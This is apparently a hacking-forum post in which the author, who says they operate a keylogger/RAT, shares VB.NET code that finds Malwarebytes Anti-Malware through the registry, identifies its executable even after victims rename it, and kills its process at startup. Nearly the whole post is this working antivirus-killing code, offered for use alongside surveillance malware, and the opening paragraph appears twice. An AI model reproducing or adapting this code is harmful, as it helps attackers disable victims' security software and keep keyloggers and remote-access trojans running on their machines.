Hello,
I was expiering many trouble with my keylogger/RAT, some 'smart' users change their MBAM's .exe name, in that way my keylogger/RAT could't kill it, now, I wrote a code to receive the new .exe name, you can do it allot shorter (With the x64/x32 part), but it runs at startup and you only have to run it once, so who cares?
I was expiering many trouble with my keylogger/RAT, some 'smart' users change their MBAM's .exe name, in that way my keylogger/RAT could't kill it, now, I wrote a code to receive the new .exe name, you can do it allot shorter (With the x64/x32 part), but it runs at startup and you only have to run it once, so who cares?
Code
Imports Microsoft.Win32
Imports System.Management
Imports System.IO
Public Class Form1
Dim MBAM_FileName As String = ""
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Setup_MalwarebytesAntiMalware()
End Sub
Public Sub Setup_MalwarebytesAntiMalware()
If File.Exists(MBAM_Path() & "/mbam.exe") Then
MBAM_FileName = "mbam"
Exit Sub
End If
Dim dir As New DirectoryInfo(MBAM_Path)
Dim arr As FileInfo() = dir.GetFiles()
For Each FileInfo In arr
If FileInfo.Length / 1024 >= 900 Then
'Filename has been changed.
If FileInfo.Extension = ".exe" Then
MBAM_FileName = FileInfo.Name.Replace(".exe", Nothing)
Exit For
End If
End If
Next
End Sub
Public Function MBAM_Path() As String
'Anti Malwarebytes' Anti-Malware
Dim bit_ver As String = Get_Bit()
Dim path As String = ""
Select Case bit_ver
Case "32"
Dim key32 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Malwarebytes' Anti-Malware", True) 'x32
path = key32.GetValue("InstallPath")
Exit Select
Case "64"
Dim key64 As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Wow6432Node\Malwarebytes' Anti-Malware", True) 'x64
path = key64.GetValue("InstallPath")
Exit Select
End Select
Return path
End Function
Public Function Get_Bit() As String
Dim mc As New ManagementClass("win32_processor")
Dim moc As ManagementObjectCollection = mc.GetInstances()
Dim str As String = ""
For Each mo As ManagementObject In moc
str = mo.Properties("AddressWidth").Value.ToString() '32 = x32 | 64 = x64
Exit For
Next
Return str
End Function
Public Sub Antis()
For Each p As Process In Process.GetProcesses()
If p.ProcessName.Contains(MBAM_FileName) Then
p.Kill()
End If
Next
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Antis()
End Sub
End ClassFR1908
